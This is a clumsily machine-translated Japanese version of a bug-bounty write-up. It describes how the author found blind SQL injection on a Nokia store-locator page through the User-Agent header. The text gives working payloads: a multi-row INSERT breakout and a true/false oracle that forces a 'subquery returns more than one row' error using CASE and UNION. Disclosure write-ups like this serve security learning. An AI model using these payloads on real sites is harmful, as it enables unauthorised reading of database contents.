SQL injections in Nokia sites. から学ぶ

ソース:

josipfranjkovic.blogspot.com 

脆弱性:SQLi

 

訳:
プログラムのことを知ったのは Nokia セキュリティ特典 4 月中旬のことで。
人々が 1 台以上の携帯電話を手に入れたという報告に興味を持ち、バグを探し始め。
いつものように、XSS/CSRF は人々に本当の報酬をもたらさなかったので (殿堂入りのみ)、私は SQL インジェクション (そして SQL インジェクションのみ) を探し始め。

1 週間で、私は彼らのサイトで合計 4 つの SQL インジェクションを見つけましたが、4 つ目はこれら 3 つのうちの 1 つとかなり似ているため、そのうちの 3 つについて書き。

それで:

www4.nokia.de での SQL インジェクション

Googleを使ってこのサイトを見つけ。
実際の脆弱なリンクは次のとおりで。
http://www4.nokia.de/storelocator/

脆弱な変数は User-Agentヘッダー で、ブランクまたはロード以外のページで応答がなかったため、 ブラインドSQLインジェクションで。

背後にあるクエリは INSERT INTO で、MySQL はデータベースで。
それで、次のようなものをどのように悪用しますか。
 
INSERT INTO table(a,b,c)VALUES(1,2,'$user_agent')
 
エラー報告がなく データベース ない場合は? からの出力が表示され

10 分間有効な PoC を作成しようとした後、何をすればよいのかわかりませんでした。 そこで、私は古い友人の一人、 ブライアン・デ・ハウワー に尋ねました。 数分後、彼は「 おい、複数の行に挿入しようとしたか? 」と言いました...
何らかの理由でそれを忘れていました 。
 
次のようなことができ。
 
INSERT INTO table(a,b,c)VALUES(1,2,3),(4,5,6); 
 
素晴らしい!ブルートフォース攻撃を行った結果、INSERT クエリに 5 つの列があることがわかりました。

ユーザーエージェントを次のように設定し。
 
',1,1),(1,2,3,4,5)-- -
 
サイトが読み込まれました。これはクエリが機能したことを意味します。
では通常の AND 3=23 を使用できません。 現在、 INSERT クエリ 
 
INSERT INTO a(b)VALUES(1 and 3=23);
 

は有効なクエリであり、通過します。つまり、データを取得できません。

true/falseのエラーをトリガーする何らかの方法が必要でした。


それで?
私のお気に入りのブラインド SQL インジェクション手法の 1 つは、データベースがサブクエリで複数の行を返すようにすることです。

例えば、 

 

SELECT a,(select b from table) from table; 

 

もちろん、複数の行がある場合は、「サブクエリは複数の行を返します」を返し。

ここで、UNION キーワードを使用してトリックを実行し。

 

SELECT 1 UNION SELECT 2;

 

-> "サブクエリは複数の行を返します";
ステートメントを使用すると CASE 、最終的なインジェクションは次のようになり。

 

User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=5) then 1 else 2 end))-- -

 

 ページが読み込まれます。 

 

User-Agent: ',1,1),(1,2,3,4,(select 1 union select case when(substr(version(),1,1)=4) then 1 else 2 end))-- -

 

ほなほな。